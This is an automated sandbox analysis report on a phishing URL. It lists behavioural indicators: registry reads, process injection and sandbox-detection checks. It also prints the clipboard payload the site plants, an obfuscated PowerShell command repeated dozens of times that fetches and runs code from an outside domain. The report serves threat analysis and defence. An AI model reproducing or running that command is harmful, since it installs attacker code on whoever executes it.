hxxp://wavesandwild[.]com

Analysis

user interaction
yes
max time kernel
485s
max time network
473s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
29/06/2026, 03:44

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
http://wavesandwild.com
Sample260629-eayebsdw6n

Score

7^/10

discovery execution

Malware Config

Signatures

Suspicious clipboard content. 64 IoCs

A suspicious script was copied to clipboard.

ioc	Process
powershell -nop -c "[Diagnostics.Process]::Start('powershell',(&{$tm='';@('-nqopv -jc ' -replace '[jqvz]','','iemx(mizrm ''' -replace '[mvz]','','mmmmfeinmotorik.geschenkideen-die-foerdern.de/index.htmlmmmm'.Trim('m'),''')')\|%{$tm+=$_};$tm}))"	msedge.exe
powershell -nop -c "[Diagnostics.Process]::Start('powershell',(&{$tm='';@('-nqopv -jc ' -replace '[jqvz]','','iemx(mizrm ''' -replace '[mvz]','','mmmmfeinmotorik.geschenkideen-die-foerdern.de/index.htmlmmmm'.Trim('m'),''')')\|%{$tm+=$_};$tm}))"	msedge.exe
powershell -nop -c "[Diagnostics.Process]::Start('powershell',(&{$tm='';@('-nqopv -jc ' -replace '[jqvz]','','iemx(mizrm ''' -replace '[mvz]','','mmmmfeinmotorik.geschenkideen-die-foerdern.de/index.htmlmmmm'.Trim('m'),''')')\|%{$tm+=$_};$tm}))"	msedge.exe
powershell -nop -c "[Diagnostics.Process]::Start('powershell',(&{$tm='';@('-nqopv -jc ' -replace '[jqvz]','','iemx(mizrm ''' -replace '[mvz]','','mmmmfeinmotorik.geschenkideen-die-foerdern.de/index.htmlmmmm'.Trim('m'),''')')\|%{$tm+=$_};$tm}))"	msedge.exe
powershell -nop -c "[Diagnostics.Process]::Start('powershell',(&{$tm='';@('-nqopv -jc ' -replace '[jqvz]','','iemx(mizrm ''' -replace '[mvz]','','mmmmfeinmotorik.geschenkideen-die-foerdern.de/index.htmlmmmm'.Trim('m'),''')')\|%{$tm+=$_};$tm}))"	msedge.exe
powershell -nop -c "[Diagnostics.Process]::Start('powershell',(&{$tm='';@('-nqopv -jc ' -replace '[jqvz]','','iemx(mizrm ''' -replace '[mvz]','','mmmmfeinmotorik.geschenkideen-die-foerdern.de/index.htmlmmmm'.Trim('m'),''')')\|%{$tm+=$_};$tm}))"	msedge.exe
powershell -nop -c "[Diagnostics.Process]::Start('powershell',(&{$tm='';@('-nqopv -jc ' -replace '[jqvz]','','iemx(mizrm ''' -replace '[mvz]','','mmmmfeinmotorik.geschenkideen-die-foerdern.de/index.htmlmmmm'.Trim('m'),''')')\|%{$tm+=$_};$tm}))"	msedge.exe
powershell -nop -c "[Diagnostics.Process]::Start('powershell',(&{$tm='';@('-nqopv -jc ' -replace '[jqvz]','','iemx(mizrm ''' -replace '[mvz]','','mmmmfeinmotorik.geschenkideen-die-foerdern.de/index.htmlmmmm'.Trim('m'),''')')\|%{$tm+=$_};$tm}))"	msedge.exe
powershell -nop -c "[Diagnostics.Process]::Start('powershell',(&{$tm='';@('-nqopv -jc ' -replace '[jqvz]','','iemx(mizrm ''' -replace '[mvz]','','mmmmfeinmotorik.geschenkideen-die-foerdern.de/index.htmlmmmm'.Trim('m'),''')')\|%{$tm+=$_};$tm}))"	msedge.exe
powershell -nop -c "[Diagnostics.Process]::Start('powershell',(&{$tm='';@('-nqopv -jc ' -replace '[jqvz]','','iemx(mizrm ''' -replace '[mvz]','','mmmmfeinmotorik.geschenkideen-die-foerdern.de/index.htmlmmmm'.Trim('m'),''')')\|%{$tm+=$_};$tm}))"	msedge.exe
powershell -nop -c "[Diagnostics.Process]::Start('powershell',(&{$tm='';@('-nqopv -jc ' -replace '[jqvz]','','iemx(mizrm ''' -replace '[mvz]','','mmmmfeinmotorik.geschenkideen-die-foerdern.de/index.htmlmmmm'.Trim('m'),''')')\|%{$tm+=$_};$tm}))"	msedge.exe
powershell -nop -c "[Diagnostics.Process]::Start('powershell',(&{$tm='';@('-nqopv -jc ' -replace '[jqvz]','','iemx(mizrm ''' -replace '[mvz]','','mmmmfeinmotorik.geschenkideen-die-foerdern.de/index.htmlmmmm'.Trim('m'),''')')\|%{$tm+=$_};$tm}))"	msedge.exe
powershell -nop -c "[Diagnostics.Process]::Start('powershell',(&{$tm='';@('-nqopv -jc ' -replace '[jqvz]','','iemx(mizrm ''' -replace '[mvz]','','mmmmfeinmotorik.geschenkideen-die-foerdern.de/index.htmlmmmm'.Trim('m'),''')')\|%{$tm+=$_};$tm}))"	msedge.exe
powershell -nop -c "[Diagnostics.Process]::Start('powershell',(&{$tm='';@('-nqopv -jc ' -replace '[jqvz]','','iemx(mizrm ''' -replace '[mvz]','','mmmmfeinmotorik.geschenkideen-die-foerdern.de/index.htmlmmmm'.Trim('m'),''')')\|%{$tm+=$_};$tm}))"	msedge.exe
powershell -nop -c "[Diagnostics.Process]::Start('powershell',(&{$tm='';@('-nqopv -jc ' -replace '[jqvz]','','iemx(mizrm ''' -replace '[mvz]','','mmmmfeinmotorik.geschenkideen-die-foerdern.de/index.htmlmmmm'.Trim('m'),''')')\|%{$tm+=$_};$tm}))"	msedge.exe
powershell -nop -c "[Diagnostics.Process]::Start('powershell',(&{$tm='';@('-nqopv -jc ' -replace '[jqvz]','','iemx(mizrm ''' -replace '[mvz]','','mmmmfeinmotorik.geschenkideen-die-foerdern.de/index.htmlmmmm'.Trim('m'),''')')\|%{$tm+=$_};$tm}))"	msedge.exe
powershell -nop -c "[Diagnostics.Process]::Start('powershell',(&{$tm='';@('-nqopv -jc ' -replace '[jqvz]','','iemx(mizrm ''' -replace '[mvz]','','mmmmfeinmotorik.geschenkideen-die-foerdern.de/index.htmlmmmm'.Trim('m'),''')')\|%{$tm+=$_};$tm}))"	msedge.exe
powershell -nop -c "[Diagnostics.Process]::Start('powershell',(&{$tm='';@('-nqopv -jc ' -replace '[jqvz]','','iemx(mizrm ''' -replace '[mvz]','','mmmmfeinmotorik.geschenkideen-die-foerdern.de/index.htmlmmmm'.Trim('m'),''')')\|%{$tm+=$_};$tm}))"	msedge.exe
powershell -nop -c "[Diagnostics.Process]::Start('powershell',(&{$tm='';@('-nqopv -jc ' -replace '[jqvz]','','iemx(mizrm ''' -replace '[mvz]','','mmmmfeinmotorik.geschenkideen-die-foerdern.de/index.htmlmmmm'.Trim('m'),''')')\|%{$tm+=$_};$tm}))"	msedge.exe
powershell -nop -c "[Diagnostics.Process]::Start('powershell',(&{$tm='';@('-nqopv -jc ' -replace '[jqvz]','','iemx(mizrm ''' -replace '[mvz]','','mmmmfeinmotorik.geschenkideen-die-foerdern.de/index.htmlmmmm'.Trim('m'),''')')\|%{$tm+=$_};$tm}))"	msedge.exe
powershell -nop -c "[Diagnostics.Process]::Start('powershell',(&{$tm='';@('-nqopv -jc ' -replace '[jqvz]','','iemx(mizrm ''' -replace '[mvz]','','mmmmfeinmotorik.geschenkideen-die-foerdern.de/index.htmlmmmm'.Trim('m'),''')')\|%{$tm+=$_};$tm}))"	msedge.exe
powershell -nop -c "[Diagnostics.Process]::Start('powershell',(&{$tm='';@('-nqopv -jc ' -replace '[jqvz]','','iemx(mizrm ''' -replace '[mvz]','','mmmmfeinmotorik.geschenkideen-die-foerdern.de/index.htmlmmmm'.Trim('m'),''')')\|%{$tm+=$_};$tm}))"	msedge.exe
powershell -nop -c "[Diagnostics.Process]::Start('powershell',(&{$tm='';@('-nqopv -jc ' -replace '[jqvz]','','iemx(mizrm ''' -replace '[mvz]','','mmmmfeinmotorik.geschenkideen-die-foerdern.de/index.htmlmmmm'.Trim('m'),''')')\|%{$tm+=$_};$tm}))"	msedge.exe
powershell -nop -c "[Diagnostics.Process]::Start('powershell',(&{$tm='';@('-nqopv -jc ' -replace '[jqvz]','','iemx(mizrm ''' -replace '[mvz]','','mmmmfeinmotorik.geschenkideen-die-foerdern.de/index.htmlmmmm'.Trim('m'),''')')\|%{$tm+=$_};$tm}))"	msedge.exe
powershell -nop -c "[Diagnostics.Process]::Start('powershell',(&{$tm='';@('-nqopv -jc ' -replace '[jqvz]','','iemx(mizrm ''' -replace '[mvz]','','mmmmfeinmotorik.geschenkideen-die-foerdern.de/index.htmlmmmm'.Trim('m'),''')')\|%{$tm+=$_};$tm}))"	msedge.exe
powershell -nop -c "[Diagnostics.Process]::Start('powershell',(&{$tm='';@('-nqopv -jc ' -replace '[jqvz]','','iemx(mizrm ''' -replace '[mvz]','','mmmmfeinmotorik.geschenkideen-die-foerdern.de/index.htmlmmmm'.Trim('m'),''')')\|%{$tm+=$_};$tm}))"	msedge.exe
powershell -nop -c "[Diagnostics.Process]::Start('powershell',(&{$tm='';@('-nqopv -jc ' -replace '[jqvz]','','iemx(mizrm ''' -replace '[mvz]','','mmmmfeinmotorik.geschenkideen-die-foerdern.de/index.htmlmmmm'.Trim('m'),''')')\|%{$tm+=$_};$tm}))"	msedge.exe
powershell -nop -c "[Diagnostics.Process]::Start('powershell',(&{$tm='';@('-nqopv -jc ' -replace '[jqvz]','','iemx(mizrm ''' -replace '[mvz]','','mmmmfeinmotorik.geschenkideen-die-foerdern.de/index.htmlmmmm'.Trim('m'),''')')\|%{$tm+=$_};$tm}))"	msedge.exe
powershell -nop -c "[Diagnostics.Process]::Start('powershell',(&{$tm='';@('-nqopv -jc ' -replace '[jqvz]','','iemx(mizrm ''' -replace '[mvz]','','mmmmfeinmotorik.geschenkideen-die-foerdern.de/index.htmlmmmm'.Trim('m'),''')')\|%{$tm+=$_};$tm}))"	msedge.exe
powershell -nop -c "[Diagnostics.Process]::Start('powershell',(&{$tm='';@('-nqopv -jc ' -replace '[jqvz]','','iemx(mizrm ''' -replace '[mvz]','','mmmmfeinmotorik.geschenkideen-die-foerdern.de/index.htmlmmmm'.Trim('m'),''')')\|%{$tm+=$_};$tm}))"	msedge.exe
powershell -nop -c "[Diagnostics.Process]::Start('powershell',(&{$tm='';@('-nqopv -jc ' -replace '[jqvz]','','iemx(mizrm ''' -replace '[mvz]','','mmmmfeinmotorik.geschenkideen-die-foerdern.de/index.htmlmmmm'.Trim('m'),''')')\|%{$tm+=$_};$tm}))"	msedge.exe
powershell -nop -c "[Diagnostics.Process]::Start('powershell',(&{$tm='';@('-nqopv -jc ' -replace '[jqvz]','','iemx(mizrm ''' -replace '[mvz]','','mmmmfeinmotorik.geschenkideen-die-foerdern.de/index.htmlmmmm'.Trim('m'),''')')\|%{$tm+=$_};$tm}))"	msedge.exe
powershell -nop -c "[Diagnostics.Process]::Start('powershell',(&{$tm='';@('-nqopv -jc ' -replace '[jqvz]','','iemx(mizrm ''' -replace '[mvz]','','mmmmfeinmotorik.geschenkideen-die-foerdern.de/index.htmlmmmm'.Trim('m'),''')')\|%{$tm+=$_};$tm}))"	msedge.exe
powershell -nop -c "[Diagnostics.Process]::Start('powershell',(&{$tm='';@('-nqopv -jc ' -replace '[jqvz]','','iemx(mizrm ''' -replace '[mvz]','','mmmmfeinmotorik.geschenkideen-die-foerdern.de/index.htmlmmmm'.Trim('m'),''')')\|%{$tm+=$_};$tm}))"	msedge.exe
powershell -nop -c "[Diagnostics.Process]::Start('powershell',(&{$tm='';@('-nqopv -jc ' -replace '[jqvz]','','iemx(mizrm ''' -replace '[mvz]','','mmmmfeinmotorik.geschenkideen-die-foerdern.de/index.htmlmmmm'.Trim('m'),''')')\|%{$tm+=$_};$tm}))"	msedge.exe
powershell -nop -c "[Diagnostics.Process]::Start('powershell',(&{$tm='';@('-nqopv -jc ' -replace '[jqvz]','','iemx(mizrm ''' -replace '[mvz]','','mmmmfeinmotorik.geschenkideen-die-foerdern.de/index.htmlmmmm'.Trim('m'),''')')\|%{$tm+=$_};$tm}))"	msedge.exe
powershell -nop -c "[Diagnostics.Process]::Start('powershell',(&{$tm='';@('-nqopv -jc ' -replace '[jqvz]','','iemx(mizrm ''' -replace '[mvz]','','mmmmfeinmotorik.geschenkideen-die-foerdern.de/index.htmlmmmm'.Trim('m'),''')')\|%{$tm+=$_};$tm}))"	msedge.exe
powershell -nop -c "[Diagnostics.Process]::Start('powershell',(&{$tm='';@('-nqopv -jc ' -replace '[jqvz]','','iemx(mizrm ''' -replace '[mvz]','','mmmmfeinmotorik.geschenkideen-die-foerdern.de/index.htmlmmmm'.Trim('m'),''')')\|%{$tm+=$_};$tm}))"	msedge.exe
powershell -nop -c "[Diagnostics.Process]::Start('powershell',(&{$tm='';@('-nqopv -jc ' -replace '[jqvz]','','iemx(mizrm ''' -replace '[mvz]','','mmmmfeinmotorik.geschenkideen-die-foerdern.de/index.htmlmmmm'.Trim('m'),''')')\|%{$tm+=$_};$tm}))"	msedge.exe
powershell -nop -c "[Diagnostics.Process]::Start('powershell',(&{$tm='';@('-nqopv -jc ' -replace '[jqvz]','','iemx(mizrm ''' -replace '[mvz]','','mmmmfeinmotorik.geschenkideen-die-foerdern.de/index.htmlmmmm'.Trim('m'),''')')\|%{$tm+=$_};$tm}))"	msedge.exe
powershell -nop -c "[Diagnostics.Process]::Start('powershell',(&{$tm='';@('-nqopv -jc ' -replace '[jqvz]','','iemx(mizrm ''' -replace '[mvz]','','mmmmfeinmotorik.geschenkideen-die-foerdern.de/index.htmlmmmm'.Trim('m'),''')')\|%{$tm+=$_};$tm}))"	msedge.exe
powershell -nop -c "[Diagnostics.Process]::Start('powershell',(&{$tm='';@('-nqopv -jc ' -replace '[jqvz]','','iemx(mizrm ''' -replace '[mvz]','','mmmmfeinmotorik.geschenkideen-die-foerdern.de/index.htmlmmmm'.Trim('m'),''')')\|%{$tm+=$_};$tm}))"	msedge.exe
powershell -nop -c "[Diagnostics.Process]::Start('powershell',(&{$tm='';@('-nqopv -jc ' -replace '[jqvz]','','iemx(mizrm ''' -replace '[mvz]','','mmmmfeinmotorik.geschenkideen-die-foerdern.de/index.htmlmmmm'.Trim('m'),''')')\|%{$tm+=$_};$tm}))"	msedge.exe
powershell -nop -c "[Diagnostics.Process]::Start('powershell',(&{$tm='';@('-nqopv -jc ' -replace '[jqvz]','','iemx(mizrm ''' -replace '[mvz]','','mmmmfeinmotorik.geschenkideen-die-foerdern.de/index.htmlmmmm'.Trim('m'),''')')\|%{$tm+=$_};$tm}))"	msedge.exe
powershell -nop -c "[Diagnostics.Process]::Start('powershell',(&{$tm='';@('-nqopv -jc ' -replace '[jqvz]','','iemx(mizrm ''' -replace '[mvz]','','mmmmfeinmotorik.geschenkideen-die-foerdern.de/index.htmlmmmm'.Trim('m'),''')')\|%{$tm+=$_};$tm}))"	msedge.exe
powershell -nop -c "[Diagnostics.Process]::Start('powershell',(&{$tm='';@('-nqopv -jc ' -replace '[jqvz]','','iemx(mizrm ''' -replace '[mvz]','','mmmmfeinmotorik.geschenkideen-die-foerdern.de/index.htmlmmmm'.Trim('m'),''')')\|%{$tm+=$_};$tm}))"	msedge.exe
powershell -nop -c "[Diagnostics.Process]::Start('powershell',(&{$tm='';@('-nqopv -jc ' -replace '[jqvz]','','iemx(mizrm ''' -replace '[mvz]','','mmmmfeinmotorik.geschenkideen-die-foerdern.de/index.htmlmmmm'.Trim('m'),''')')\|%{$tm+=$_};$tm}))"	msedge.exe
powershell -nop -c "[Diagnostics.Process]::Start('powershell',(&{$tm='';@('-nqopv -jc ' -replace '[jqvz]','','iemx(mizrm ''' -replace '[mvz]','','mmmmfeinmotorik.geschenkideen-die-foerdern.de/index.htmlmmmm'.Trim('m'),''')')\|%{$tm+=$_};$tm}))"	msedge.exe
powershell -nop -c "[Diagnostics.Process]::Start('powershell',(&{$tm='';@('-nop -c ' -replace '[jqvz]','','iex(ir ''' -replace '[mvz]','',feinmotorik.geschenkideen-die-foerdern.de/index.htmlmmmm'.Trim('m'),''')')\|%{$tm+=$_};$tm}))"	notepad.exe
powershell -nop -c "[Diagnostics.Process]::Start('powershell',(&{$tm='';@('-nqopv -jc ' -replace '[jqvz]','','iemx(mizrm ''' -replace '[mvz]','','mmmmfeinmotorik.geschenkideen-die-foerdern.de/index.htmlmmmm'.Trim('m'),''')')\|%{$tm+=$_};$tm}))"	msedge.exe
powershell -nop -c "[Diagnostics.Process]::Start('powershell',(&{$tm='';@('-nqopv -jc ' -replace '[jqvz]','','iemx(mizrm ''' -replace '[mvz]','','mmmmfeinmotorik.geschenkideen-die-foerdern.de/index.htmlmmmm'.Trim('m'),''')')\|%{$tm+=$_};$tm}))"	msedge.exe
powershell -nop -c "[Diagnostics.Process]::Start('powershell',(&{$tm='';@('-nqopv -jc ' -replace '[jqvz]','','iemx(mizrm ''' -replace '[mvz]','','mmmmfeinmotorik.geschenkideen-die-foerdern.de/index.htmlmmmm'.Trim('m'),''')')\|%{$tm+=$_};$tm}))"	msedge.exe
powershell -nop -c "[Diagnostics.Process]::Start('powershell',(&{$tm='';@('-nqopv -jc ' -replace '[jqvz]','','iemx(mizrm ''' -replace '[mvz]','','mmmmfeinmotorik.geschenkideen-die-foerdern.de/index.htmlmmmm'.Trim('m'),''')')\|%{$tm+=$_};$tm}))"	msedge.exe
powershell -nop -c "[Diagnostics.Process]::Start('powershell',(&{$tm='';@('-nqopv -jc ' -replace '[jqvz]','','iemx(mizrm ''' -replace '[mvz]','','mmmmfeinmotorik.geschenkideen-die-foerdern.de/index.htmlmmmm'.Trim('m'),''')')\|%{$tm+=$_};$tm}))"	msedge.exe
powershell -nop -c "[Diagnostics.Process]::Start('powershell',(&{$tm='';@('-nqopv -jc ' -replace '[jqvz]','','iemx(mizrm ''' -replace '[mvz]','','mmmmfeinmotorik.geschenkideen-die-foerdern.de/index.htmlmmmm'.Trim('m'),''')')\|%{$tm+=$_};$tm}))"	msedge.exe
powershell -nop -c "[Diagnostics.Process]::Start('powershell',(&{$tm='';@('-nqopv -jc ' -replace '[jqvz]','','iemx(mizrm ''' -replace '[mvz]','','mmmmfeinmotorik.geschenkideen-die-foerdern.de/index.htmlmmmm'.Trim('m'),''')')\|%{$tm+=$_};$tm}))"	msedge.exe
powershell -nop -c "[Diagnostics.Process]::Start('powershell',(&{$tm='';@('-nqopv -jc ' -replace '[jqvz]','','iemx(mizrm ''' -replace '[mvz]','','mmmmfeinmotorik.geschenkideen-die-foerdern.de/index.htmlmmmm'.Trim('m'),''')')\|%{$tm+=$_};$tm}))"	msedge.exe
powershell -nop -c "[Diagnostics.Process]::Start('powershell',(&{$tm='';@('-nqopv -jc ' -replace '[jqvz]','','iemx(mizrm ''' -replace '[mvz]','','mmmmfeinmotorik.geschenkideen-die-foerdern.de/index.htmlmmmm'.Trim('m'),''')')\|%{$tm+=$_};$tm}))"	msedge.exe
powershell -nop -c "[Diagnostics.Process]::Start('powershell',(&{$tm='';@('-nqopv -jc ' -replace '[jqvz]','','iemx(mizrm ''' -replace '[mvz]','','mmmmfeinmotorik.geschenkideen-die-foerdern.de/index.htmlmmmm'.Trim('m'),''')')\|%{$tm+=$_};$tm}))"	msedge.exe
powershell -nop -c "[Diagnostics.Process]::Start('powershell',(&{$tm='';@('-nqopv -jc ' -replace '[jqvz]','','iemx(mizrm ''' -replace '[mvz]','','mmmmfeinmotorik.geschenkideen-die-foerdern.de/index.htmlmmmm'.Trim('m'),''')')\|%{$tm+=$_};$tm}))"	msedge.exe
powershell -nop -c "[Diagnostics.Process]::Start('powershell',(&{$tm='';@('-nqopv -jc ' -replace '[jqvz]','','iemx(mizrm ''' -replace '[mvz]','','mmmmfeinmotorik.geschenkideen-die-foerdern.de/index.htmlmmmm'.Trim('m'),''')')\|%{$tm+=$_};$tm}))"	msedge.exe
powershell -nop -c "[Diagnostics.Process]::Start('powershell',(&{$tm='';@('-nqopv -jc ' -replace '[jqvz]','','iemx(mizrm ''' -replace '[mvz]','','mmmmfeinmotorik.geschenkideen-die-foerdern.de/index.htmlmmmm'.Trim('m'),''')')\|%{$tm+=$_};$tm}))"	msedge.exe
powershell -nop -c "[Diagnostics.Process]::Start('powershell',(&{$tm='';@('-nqopv -jc ' -replace '[jqvz]','','iemx(mizrm ''' -replace '[mvz]','','mmmmfeinmotorik.geschenkideen-die-foerdern.de/index.htmlmmmm'.Trim('m'),''')')\|%{$tm+=$_};$tm}))"	msedge.exe
powershell -nop -c "[Diagnostics.Process]::Start('powershell',(&{$tm='';@('-nqopv -jc ' -replace '[jqvz]','','iemx(mizrm ''' -replace '[mvz]','','mmmmfeinmotorik.geschenkideen-die-foerdern.de/index.htmlmmmm'.Trim('m'),''')')\|%{$tm+=$_};$tm}))"	msedge.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2948	PowerShell.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\WindowsPowerShell\v1.0\%AppData%\Microsoft\Windows\Start Menu\Programs\Windows PowerShell\Windows PowerShell.lnk	PowerShell.exe

Probable phishing domain 1 TTPs 1 IoCs

Phishing

T1566

description	flow	ioc	stream
HTTP URL	26	https://wavesandwild.com/cdn-cgi/challenge-platform/h/b/orchestrate/chl_page/v1?ray=a131efc99e289d0f	5

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
1728	msedge.exe

Checks SCSI registry key(s) 3 TTPs 4 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_WDC&PROD_WDS100T2B0A\4&215468A5&0&000000	msedge.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\ConfigFlags	msedge.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_DADY&PROD_HL-DT-ST_DVD+-RW\4&215468A5&0&010000	msedge.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\ConfigFlags	msedge.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	msedge.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	msedge.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe

Modifies data under HKEY_USERS 2 IoCs

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "134271783108290632"	msedge.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	msedge.exe

Modifies registry class 10 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1788976790-1541110888-1636651838-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance\	msedge.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-1788976790-1541110888-1636651838-1000\{3DD13274-3C82-4B98-A1EB-9FDFBCE44E7B}	msedge.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1788976790-1541110888-1636651838-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Mappings\S-1-15-2-1760019844-2681172078-3872633735-798519778-3824819574-1684089895-1452983902\DisplayName = "Chrome Sandbox"	msedge.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1788976790-1541110888-1636651838-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Mappings\S-1-15-2-1760019844-2681172078-3872633735-798519778-3824819574-1684089895-1452983902\Moniker = "cr.sb.odmf5200eafd3ad904629cbb0f87a78a3c7211081fe"	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-1788976790-1541110888-1636651838-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Mappings\S-1-15-2-1760019844-2681172078-3872633735-798519778-3824819574-1684089895-1452983902\Children	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-1788976790-1541110888-1636651838-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\cr.sb.odmf5200eafd3ad904629cbb0f87a78a3c7211081fe	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-1788976790-1541110888-1636651838-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\cr.sb.odmf5200eafd3ad904629cbb0f87a78a3c7211081fe\Children	msedge.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-1788976790-1541110888-1636651838-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Mappings\S-1-15-2-1760019844-2681172078-3872633735-798519778-3824819574-1684089895-1452983902	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-1788976790-1541110888-1636651838-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage	msedge.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
5088	msedge.exe
5088	msedge.exe
2948	PowerShell.exe
2948	PowerShell.exe

Suspicious behavior: LoadsDriver 2 IoCs

pid	Process
644	Process not Found
644	Process not Found

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 9 IoCs

pid	Process
524	msedge.exe
524	msedge.exe
524	msedge.exe
524	msedge.exe
524	msedge.exe
524	msedge.exe
524	msedge.exe
524	msedge.exe
524	msedge.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2948	PowerShell.exe

Suspicious use of FindShellTrayWindow 50 IoCs

pid	Process
524	msedge.exe
524	msedge.exe
524	msedge.exe
524	msedge.exe
524	msedge.exe
524	msedge.exe
524	msedge.exe
524	msedge.exe
524	msedge.exe
524	msedge.exe
524	msedge.exe
524	msedge.exe
524	msedge.exe
524	msedge.exe
524	msedge.exe
524	msedge.exe
524	msedge.exe
524	msedge.exe
524	msedge.exe
524	msedge.exe
524	msedge.exe
524	msedge.exe
524	msedge.exe
524	msedge.exe
524	msedge.exe
524	msedge.exe
524	msedge.exe
524	msedge.exe
524	msedge.exe
524	msedge.exe
524	msedge.exe
524	msedge.exe
524	msedge.exe
524	msedge.exe
524	msedge.exe
524	msedge.exe
524	msedge.exe
524	msedge.exe
524	msedge.exe
524	msedge.exe
524	msedge.exe
524	msedge.exe
524	msedge.exe
524	msedge.exe
524	msedge.exe
524	msedge.exe
524	msedge.exe
524	msedge.exe
524	msedge.exe
524	msedge.exe

Suspicious use of SendNotifyMessage 48 IoCs

pid	Process
524	msedge.exe
524	msedge.exe
524	msedge.exe
524	msedge.exe
524	msedge.exe
524	msedge.exe
524	msedge.exe
524	msedge.exe
524	msedge.exe
524	msedge.exe
524	msedge.exe
524	msedge.exe
524	msedge.exe
524	msedge.exe
524	msedge.exe
524	msedge.exe
524	msedge.exe
524	msedge.exe
524	msedge.exe
524	msedge.exe
524	msedge.exe
524	msedge.exe
524	msedge.exe
524	msedge.exe
524	msedge.exe
524	msedge.exe
524	msedge.exe
524	msedge.exe
524	msedge.exe
524	msedge.exe
524	msedge.exe
524	msedge.exe
524	msedge.exe
524	msedge.exe
524	msedge.exe
524	msedge.exe
524	msedge.exe
524	msedge.exe
524	msedge.exe
524	msedge.exe
524	msedge.exe
524	msedge.exe
524	msedge.exe
524	msedge.exe
524	msedge.exe
524	msedge.exe
524	msedge.exe
524	msedge.exe

Suspicious use of WriteProcessMemory 52 IoCs

description	pid	Process	procid_target
PID 524 wrote to memory of 3340	524	msedge.exe	84
PID 524 wrote to memory of 1728	524	msedge.exe	86
PID 524 wrote to memory of 1688	524	msedge.exe	87
PID 524 wrote to memory of 1688	524	msedge.exe	87
PID 524 wrote to memory of 1688	524	msedge.exe	87
PID 524 wrote to memory of 1392	524	msedge.exe	88
PID 524 wrote to memory of 1392	524	msedge.exe	88
PID 524 wrote to memory of 1128	524	msedge.exe	89
PID 524 wrote to memory of 1128	524	msedge.exe	89
PID 524 wrote to memory of 4436	524	msedge.exe	90
PID 524 wrote to memory of 1128	524	msedge.exe	89
PID 524 wrote to memory of 4436	524	msedge.exe	90
PID 524 wrote to memory of 4436	524	msedge.exe	90
PID 524 wrote to memory of 4904	524	msedge.exe	91
PID 524 wrote to memory of 2532	524	msedge.exe	92
PID 524 wrote to memory of 4904	524	msedge.exe	91
PID 524 wrote to memory of 4904	524	msedge.exe	91
PID 524 wrote to memory of 2532	524	msedge.exe	92
PID 524 wrote to memory of 2532	524	msedge.exe	92
PID 524 wrote to memory of 3804	524	msedge.exe	95
PID 524 wrote to memory of 3804	524	msedge.exe	95
PID 524 wrote to memory of 3804	524	msedge.exe	95
PID 524 wrote to memory of 4756	524	msedge.exe	97
